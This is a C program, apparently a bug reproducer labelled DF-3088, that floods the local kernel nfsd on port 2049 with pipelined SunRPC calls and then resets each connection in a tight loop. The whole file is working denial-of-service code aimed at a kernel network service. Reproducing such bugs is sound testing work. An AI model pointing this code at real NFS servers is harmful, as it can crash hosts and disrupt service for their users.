/* DF-3088 - pipelined SunRPC burst + TCP RST against the kernel nfsd.
 * usage: df3088 <nloops> <burst>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
static unsigned char call[128];
static int mkcall(unsigned xid){
    int l=0;
    unsigned v;
    #define P32(x) v=(x); call[l++]=v>>24;call[l++]=v>>16;call[l++]=v>>8;call[l++]=v;
    P32(xid); P32(0); P32(2); P32(100000); P32(2); P32(3);
    P32(0); P32(0); P32(0); P32(0);
    return l;
}
int main(int argc,char**argv){
    int loops=argc>1?atoi(argv[1]):2000, burst=argc>2?atoi(argv[2]):16;
    for(int n=0;n<loops;n++){
        int s=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in a; memset(&a,0,sizeof a);
        a.sin_family=AF_INET; a.sin_port=htons(2049); a.sin_addr.s_addr=htonl(0x7F000001);
        if(connect(s,(struct sockaddr*)&a,sizeof a)<0){ close(s); continue; }
        for(int b=0;b<burst;b++){
            int l=mkcall(0x1000+n*256+b);
            unsigned mark=0x80000000u|l;
            unsigned char hdr[4]={mark>>24,mark>>16,mark>>8,mark};
            write(s,hdr,4); write(s,call,l);
        }
        struct linger lg={1,0};
        setsockopt(s,SOL_SOCKET,SO_LINGER,&lg,sizeof lg);
        close(s);   /* RST */
        if(!(n%500)) { printf("loop %d\n",n); fflush(stdout); }
    }
    printf("done %d loops\n",loops);
    return 0;
}
